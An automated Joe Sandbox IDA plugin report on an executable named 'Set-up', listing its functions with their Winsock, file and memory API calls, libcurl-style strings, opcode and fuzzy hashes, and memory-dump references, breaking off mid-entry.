Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: _errno
String ID: @$Inf$NaN
API String ID: 2918714741-141429178
Opcode ID: b6351563307c2715920716855d317cfce86c50102a939ee5d498946dce6bf20c
Instruction ID: a7d0149f2a89ef0b70581f3ed079e1337843c3fbc936cacd11c5ef53390c4473
Opcode Fuzzy Hash: b6351563307c2715920716855d317cfce86c50102a939ee5d498946dce6bf20c
Instruction Fuzzy Hash: 68F19174A0C3858BDB319F24C4407ABBFE1BB85314F158A6ED9DD87381D7399906CB8A

Function 001C4950 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 167networkstringCOMMON

Download Yara Rule

APIs

htonl.WS2_32(7F000001), ref: 001C4A21
gethostname.WS2_32(00000000,00000040), ref: 001C4AA4
WSAGetLastError.WS2_32 ref: 001C4AB3
strchr.API-MS-WIN-CRT-PRIVATE-L1-1-0(00000000,0000002E), ref: 001C4B3F

Strings

xc, xrefs: 001C4A74, 001C4B53
|c, xrefs: 001C4AC6

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: ErrorLastgethostnamehtonlstrchr
String ID: xc$|c
API String ID: 655544046-3962473566
Opcode ID: 9071436e96528c57824f6a35eac8ca557717452cbc3179863265c60cc4c631f4
Instruction ID: 091778695e24e7f4330eb2d0c100981685f0b3b77225c9a9367df0137fdeb603
Opcode Fuzzy Hash: 9071436e96528c57824f6a35eac8ca557717452cbc3179863265c60cc4c631f4
Instruction Fuzzy Hash: 3951D0706087018FE7309B65DD59B237AE4EF25319F14093CE98A866D1E779EC44CB02

Function 00149290 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 143networkCOMMON

Download Yara Rule

APIs

Part of subcall function 001176A0: send.WS2_32(multi.c,?,?,?), ref: 001176DE

WSAGetLastError.WS2_32 ref: 001493C3

Part of subcall function 0012D8C0: QueryPerformanceCounter.KERNEL32(?,?,?,?,?,00000000,?,0000001C,?,001201B1), ref: 0012D8E2

WSAIoctl.WS2_32(?,4004747B,00000000,00000000,?,00000004,?,00000000,00000000), ref: 0014935C
setsockopt.WS2_32(?,0000FFFF,00001001,00000000,00000004), ref: 00149388

Strings

Send failure: %s, xrefs: 001493FB
send(len=%zu) -> %d, err=%d, xrefs: 00149447
cf-socket.c, xrefs: 001492CF

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: CounterErrorIoctlLastPerformanceQuerysendsetsockopt
String ID: Send failure: %s$cf-socket.c$send(len=%zu) -> %d, err=%d
API String ID: 1798382672-2691795271
Opcode ID: a050023e08f69475f2fd7b387fbabc03b88b338f8898877d35b5630c6d71a0a1
Instruction ID: 4b9e6c70ecca8dc6f2a9a222c59a17cd0a6cc8a3527cb97a6c6d4fbefa4072a7
Opcode Fuzzy Hash: a050023e08f69475f2fd7b387fbabc03b88b338f8898877d35b5630c6d71a0a1
Instruction Fuzzy Hash: 6A51D174A00305AFD714DF24C881FABB7A5FF85314F188629FD588B2A2E770E991CB91

Function 001D77B0 Relevance: 10.6, APIs: 7, Instructions: 84fileCOMMON

Download Yara Rule

APIs

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,00711C4D,00000000,00000000,?,?,?,001D9882,?,00000000), ref: 001D77DD
fseek.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000000,00000002,?,00000000), ref: 001D77F0
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,00000000), ref: 001D7802
GetLastError.KERNEL32(?,00000000), ref: 001D780E
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,00000000), ref: 001D7830
fseek.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000000,00000000,?,?,?,?,?,00000000), ref: 001D7843
fread.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 001D786B

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: fseek$ErrorLastfclosefopenfreadftell
String ID:
API String ID: 1915723720-0
Opcode ID: e6777305571b90a74f09108b5eee1b6bb9da1efb633f1c51af371067a868bdd6
Instruction ID: 6b5610889786187682b8a0e2e11c4470ed13125514b148553746d7f8503f650f
Opcode Fuzzy Hash: e6777305571b90a74f09108b5eee1b6bb9da1efb633f1c51af371067a868bdd6
Instruction Fuzzy Hash: A211D6E1E0931067FF2125265C4AB7B3948DB91369F18043EFD05D63C2FB29D804D1B6

Function 0014A150 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 78networkCOMMON

Download Yara Rule

APIs

getsockname.WS2_32(?,?,00000080), ref: 0014A1C6
WSAGetLastError.WS2_32 ref: 0014A1D0

Part of subcall function 0012D090: GetLastError.KERNEL32 ref: 0012D0A1
Part of subcall function 0012D090: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0012D0A9
Part of subcall function 0012D090: __sys_nerr.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0012D0CD
Part of subcall function 0012D090: __sys_errlist.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0012D0D7
Part of subcall function 0012D090: strrchr.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,0000000A), ref: 0012D381
Part of subcall function 0012D090: strrchr.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,0000000D), ref: 0012D3A2
Part of subcall function 0012D090: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0012D3BF
Part of subcall function 0012D090: GetLastError.KERNEL32 ref: 0012D3C9
Part of subcall function 0012D090: SetLastError.KERNEL32(00000000), ref: 0012D3D4

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0014A21C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0014A220

Strings

getsockname() failed with errno %d: %s, xrefs: 0014A1F0
ssloc inet_ntop() failed with errno %d: %s, xrefs: 0014A23B

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: ErrorLast_errno$strrchr$__sys_errlist__sys_nerrgetsockname
String ID: getsockname() failed with errno %d: %s$ssloc inet_ntop() failed with errno %d: %s
API String ID: 2076026050-2605427207
Opcode ID: 6f85b9c5a46e3dd46ae1db550165d45076942d66f8f14ae7413d8fb0d7fe0614
Instruction ID: 93d2adeff9d32169fcf6f35ab2c8b98aca50af2fd79bce2736308cff26650c3d
Opcode Fuzzy Hash: 6f85b9c5a46e3dd46ae1db550165d45076942d66f8f14ae7413d8fb0d7fe0614
Instruction Fuzzy Hash: 55210A71844280AAF7259B18EC46FE773BCEF91328F040215FD9853161FB3269898BE2

Function 00117310 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 74COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00113BA6,?,0083C044,00111BD2), ref: 001173A6
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,00113BA6,?,0083C044,00111BD2), ref: 001173CA
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,00113BA6,?,0083C044,00111BD2), ref: 001173D2

Strings

MEM %s:%d calloc(%zu,%zu) = %p, xrefs: 00117376
LIMIT %s:%d %s reached memlimit, xrefs: 00117397, 001173B6
calloc, xrefs: 00117390, 001173AF

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: __acrt_iob_func_errnofflush
String ID: LIMIT %s:%d %s reached memlimit$MEM %s:%d calloc(%zu,%zu) = %p$calloc
API String ID: 4185500129-1340350808
Opcode ID: 5c3433639ab0b8182779a469a7501163b3d634720d90db9b01d2c9497faabfd5
Instruction ID: f85ae8e12767f31feab6a00ccaade6845e2933a0510856d599f6c2d6a68f7df2
Opcode Fuzzy Hash: 5c3433639ab0b8182779a469a7501163b3d634720d90db9b01d2c9497faabfd5
Instruction Fuzzy Hash: 0421CF71A09341AFD3289F15AC46E9B7BA9FF85754F05082CFC08E3391E761D84087E1

Function 0012D5E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 42networklibraryloaderCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202), ref: 0012D65A

Part of subcall function 0012D690: GetModuleHandleA.KERNEL32(kernel32,00000000,?,?,?,0012D5FA,iphlpapi.dll), ref: 0012D699
Part of subcall function 0012D690: GetProcAddress.KERNEL32(00000000,LoadLibraryExA), ref: 0012D6B5
Part of subcall function 0012D690: strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,006ED834,?,?,0012D5FA,iphlpapi.dll), ref: 0012D6C3

GetProcAddress.KERNEL32(00000000,if_nametoindex), ref: 0012D60C
QueryPerformanceFrequency.KERNEL32(0083C070), ref: 0012D643
WSACleanup.WS2_32 ref: 0012D67C

Strings

if_nametoindex, xrefs: 0012D606
iphlpapi.dll, xrefs: 0012D5F0

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: AddressProc$CleanupFrequencyHandleModulePerformanceQueryStartupstrpbrk
String ID: if_nametoindex$iphlpapi.dll
API String ID: 3452087986-3097795196
Opcode ID: 87e76fa8a6c36045f1edfd8603a1575f9f7397e945a0cd71615b85b851e5a7fd
Instruction ID: 801b94b5f4d405765e4f653c71d7ed92a3ae93daff22217749d5af5cc6e64c7a
Opcode Fuzzy Hash: 87e76fa8a6c36045f1edfd8603a1575f9f7397e945a0cd71615b85b851e5a7fd
Instruction Fuzzy Hash: FD01A7A49007818BF711AF78FD2B3663AA0BB65304F850568E958D52D2F778C568C752

Function 00638600 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,006386ED), ref: 00638618
calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,006386ED), ref: 00638634
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,006386ED), ref: 0063869F

Strings

, xrefs: 00638605

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: calloc$free
String ID:
API String ID: 171065143-3916222277
Opcode ID: d312d63472c40b007e0335af5b5044a91c3beefbef51af98bc2be27d366a467e
Instruction ID: be9da735346b14c221e1cf7f0466086c0ea5f0b6d388a6f7a26475589d311229
Opcode Fuzzy Hash: d312d63472c40b007e0335af5b5044a91c3beefbef51af98bc2be27d366a467e
Instruction Fuzzy Hash: D4115EB1504B018FCB20DF29C98169ABBE1EF66314F154B2DE4A59B3D1DB34DA05CBD2

Function 00111296 Relevance: 5.1, APIs: 4, Instructions: 80stringCOMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 001112EB
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00111323
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0011132E
memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0 ref: 00111344

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: malloc$memcpystrlen
String ID:
API String ID: 3553820921-0
Opcode ID: f1fc1ecd4be37fd05a555f5c10ac4a933247cfe6624eeb9dd63b2f26beeba582
Instruction ID: 50a0da13c9962c9cf3b44f81494c7a920cef256188638286f878ad4e59a5b283
Opcode Fuzzy Hash: f1fc1ecd4be37fd05a555f5c10ac4a933247cfe6624eeb9dd63b2f26beeba582
Instruction Fuzzy Hash: 783183B5A00745CFCB28CF68D9903A9BBF1FB89304F148A2EDA48A7311D735A841CF80

Function 001113BB Relevance: 5.1, APIs: 4, Instructions: 66stringCOMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 001112EB
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00111323
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0011132E
memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0 ref: 00111344

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: malloc$memcpystrlen
String ID:
API String ID: 3553820921-0
Opcode ID: 191f75de1bf03741f8fe54b46433ad2a62052344d42841e4944a58871327321f
Instruction ID: 460865dfb4a5581588a02d2955f001999dab11fa696d66ba9be55ffc8e6aa3d6
Opcode Fuzzy Hash: 191f75de1bf03741f8fe54b46433ad2a62052344d42841e4944a58871327321f
Instruction Fuzzy Hash: 552120B5904705CFCB18DF69D9902ADBBF1FB88304F11892ED948A7310E734A941CF81

Function 00113AB0 Relevance: 4.5, APIs: 3, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(0083C044,0011208F), ref: 00113AB5
ReleaseSRWLockExclusive.KERNEL32(0083C044,0083C044,0011208F), ref: 00113AD0
ReleaseSRWLockExclusive.KERNEL32(0083C044), ref: 00113B02

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: ExclusiveLock$Release$Acquire
String ID:
API String ID: 1021914862-0
Opcode ID: 8b8befd3e9239604c513e2b36ecc0bdde37c2ca0e226ef04a378dd281eceb4b3
Instruction ID: 2e07d9bfcb01bb6ac7c519975658cf8ba7c345f1312889852aee56e017567136
Opcode Fuzzy Hash: 8b8befd3e9239604c513e2b36ecc0bdde37c2ca0e226ef04a378dd281eceb4b3
Instruction Fuzzy Hash: 40E08C20600986CECE187BADBCA360B3550BFA2708F840838B114F1276EF3C88048FA6

Function 0011F7B0 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 167networkCOMMON

Download Yara Rule

APIs

WSACloseEvent.WS2_32(?), ref: 0011F9C4

Strings

multi.c, xrefs: 0011F9CA, 0011F9FD, 0011FA30

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: CloseEvent
String ID: multi.c
API String ID: 2624557715-214371023
Opcode ID: 284c34fa90d42fac2a2d0d4040cda20080045470bd697210ba9e717c4051fe2a
Instruction ID: d7e51a96348e6a61958591d4d191003e329fe9830f1e23e2242bad44da2a0b67
Opcode Fuzzy Hash: 284c34fa90d42fac2a2d0d4040cda20080045470bd697210ba9e717c4051fe2a
Instruction Fuzzy Hash: 3F510BB5D043045BDB15AA30AC41BE736A4BF65318F08053CF88D9B293FB75E55AC7A2

Function 001178B0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

closesocket.WS2_32(?), ref: 001178BB

Part of subcall function 001172A0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,000003FF), ref: 001172F6

Strings

